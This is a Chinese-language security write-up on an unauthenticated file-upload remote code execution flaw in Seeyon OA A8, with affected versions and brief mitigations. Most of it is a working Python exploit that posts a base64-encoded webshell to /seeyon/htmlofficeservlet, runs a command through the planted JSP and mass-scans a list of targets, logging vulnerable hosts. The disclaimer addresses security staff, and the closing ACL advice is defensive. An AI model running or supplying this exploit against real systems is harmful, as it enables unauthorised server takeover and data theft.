[TOC]

注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

0x00 前言

RCE-远程代码执行

致远 OA A8 协同管理软件被曝存在远程代码执行漏洞0day
漏洞成因:
致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell。同时该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露,安全过滤处理措施不足,使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的网站后门文件,从而获取目标服务器权限,在目标服务器上执行任意代码。

已验证影响版本:

  • A8 V7.0 SP3
  • A8 V6.1 SP2
  • (V6.1 SP1 验证尚不存在,其他版本未验证)

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python3 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VW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ArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

payload = base64.b64decode(payload)

try:
r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)
r = requests.get(
url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

if "wangming" in r.text:
return url
else:
return 0
except:
return 0

def remove_control_chars(s):
control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160))))

control_char_re = re.compile('[%s]' % re.escape(control_chars))

s = control_char_re.sub('', s)

if 'http' not in s:

s = 'http://' + s

return s

def savePeopleInformation(url, queue):

newurl = send_payload(url)

if newurl != 0:

fw = open('loophole.txt', 'a')
fw.write(newurl + '\n')
fw.close()

queue.put(url)

def main():

pool = Pool(10)

queue = Manager().Queue()

fr = open('url.txt', 'r')

lines = fr.readlines()

for i in lines:

url = remove_control_chars(i)

pool.apply_async(savePeopleInformation, args=(url, queue,))

allnum = len(lines)

num = 0

while True:

print(queue.get())

num += 1

if num >= allnum:

fr.close()

break

if "__main__" == __name__:

main()

缓解措施:

临时修补方案如下:
1、配置URL访问控制策略;
2、在公网部署的致远A8+服务器,通过ACL禁止外网对“/seeyon/htmlofficeservlet”路径的访问;
3、对OA服务器上的网站后门文件进行及时查杀。